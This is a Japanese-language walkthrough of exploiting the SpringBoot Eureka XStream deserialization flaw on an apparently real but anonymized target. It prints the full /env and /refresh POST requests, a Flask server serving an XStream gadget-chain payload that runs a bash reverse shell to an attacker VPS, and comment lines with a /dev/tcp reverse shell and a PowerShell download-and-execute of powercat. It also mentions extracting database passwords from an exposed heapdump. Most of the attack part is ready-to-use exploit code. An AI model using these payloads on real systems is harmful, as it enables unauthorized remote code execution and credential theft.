SpringBoot eureka XStream 逆シリアル化コマンド実行脆弱性#
0x01 前言#
最近、多くのウェブサイトが SpringBoot で構築されていることが発見されました。基本的に、ディレクトリスキャンやフィンガープリンティングスキャンを行うと、SpringBoot が不適切に設定されている場合、相応の脆弱性が発生することがわかります。
SpringBoot に関する資料は、GitHub - LandGrey/SpringBootVulExploit: SpringBoot 関連の脆弱性学習資料、利用方法と技術のコレクション、ブラックボックスセキュリティ評価チェックリストを参照してください。SpringBoot の技術や利用方法について詳しく説明されています。
今回発見されたのは、SpringBoot Eureka のリモートコマンド実行脆弱性で、具体的な流れは:情報漏洩 - DNSLOG テスト - RCE です。
0x02 脆弱性の利用#
情報収集を通じて、ターゲットが 9099 ポートを開放していることがわかりました。アクセスすると、SpringBoot Eureka のサイトが表示され、インターフェースは以下の通りです:
SpringBoot Eureka である以上、逆シリアル化 RCE 脆弱性が存在する可能性がありますが、この脆弱性を利用するには多くの前提条件があります。
脆弱性利用条件:
- ターゲットの /env インターフェースに POST リクエストを送信してプロパティを設定できること
- ターゲットの /refresh インターフェースに POST リクエストを送信して設定をリフレッシュできること
- ターゲットが使用している
eureka-client
のバージョンが 1.8.7 未満であること - ターゲットが HTTP で外部に接続できること
1、/env インターフェースには直接アクセスでき、これにより SpringBoot のバージョンが 1.x であることが判断できます。2.x のバージョンの場合は、/actuator/env にアクセスする必要があります。
2、dnslog リクエストを通じて、/env、/refresh、および HTTP が外部に接続できるかをテストできます。
まず、eureka.client.serviceUrl.defaultZone プロパティを設定します。
POST /env HTTP/1.1
Host: xxx.com:9099
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
eureka.client.serviceUrl.defaultZone=http://<dnslogのアドレス>
3、/configgprops にアクセスすることで、設定した eureka.client.serviceUrl.defaultZone プロパティを確認できます。
4、/refresh 設定をリフレッシュするための POST パッケージを送信します。
POST /refresh TTP/1.1
Host: xxx.com:9099
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
5、実行が完了したら、dnslog がリクエストを受信するのを静かに待ちます。テスト中、リクエストを受信するまでの時間が少し遅かったので、皆さんは忍耐強く待つ必要があります。リクエストを受信した場合、それは成功を意味します。
6、脆弱性が存在することが確認された後、シェルを反転させることができます。
Flask に依存し、要件を満たす Python スクリプトを提供します。bash を利用してシェルを反転させるため、スクリプトの IP とポートを変更します。IP は VPS の IP に設定し、リスニングポートは nc のリスニングポートに設定します。最後に、この Python スクリプトを VPS 上で実行します。
# -*- coding: utf-8 -*-
# @Time : 2019/3/12 10:06
# @Author : j1anFen
# @Site :
# @File : run.py
# linuxでシェルを反転させる bash -i >& /dev/tcp/192.168.20.82/9999 0>&1
# windowsでシェルを反転させる
# <string>powershell</string>
# <string>IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');</string>
# <string>powercat -c 192.168.123.1 -p 2333 -e cmd</string>
from flask import Flask, Response
app = Flask(__name__)
@app.route('/', defaults={'path': ''})
@app.route('/<path:path>', methods = ['GET', 'POST'])
def catch_all(path):
xml = """<linked-hash-set>
<jdk.nashorn.internal.objects.NativeString>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>/bin/bash</string>
<string>-c</string>
<string>bash -i >& /dev/tcp/<vpsのipアドレス>/8446 0>&1</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer></ibuffer>
</is>
</dataSource>
</dataHandler>
</value>
</jdk.nashorn.internal.objects.NativeString>
</linked-hash-set>"""
return Response(xml, mimetype='application/xml')
if __name__ == "__main__":
app.run(host='0.0.0.0', port=8088)
まず、上記のスクリプトを実行し、スクリプトがウェブサイトを立ち上げます。
ブラウザでアクセスして確認できます。
次に、VPS で nc リスニングを開始します。
前準備が完了したら、以前の dnslog の検証プロセスを一通り実行します。まず、/env インターフェースに POST リクエストを送信してプロパティを設定し、その後 /refresh でプロパティをリフレッシュします。
0x03 まとめ#
- 一連のプロセスは実際にはそれほど複雑ではなく、dnslog の検証部分で少しの忍耐が必要です。
- SpringBoot のテストには他にもさまざまな要素があり、このサイトには heapdump のダウンロードもあり、そこからデータベースのパスワードを見つけることができます。
0x04 その他#
GitHub - AabyssZG/SpringBoot-Scan: SpringBoot 向けのオープンソース侵入フレームワークおよび Spring 関連の高危険脆弱性利用ツール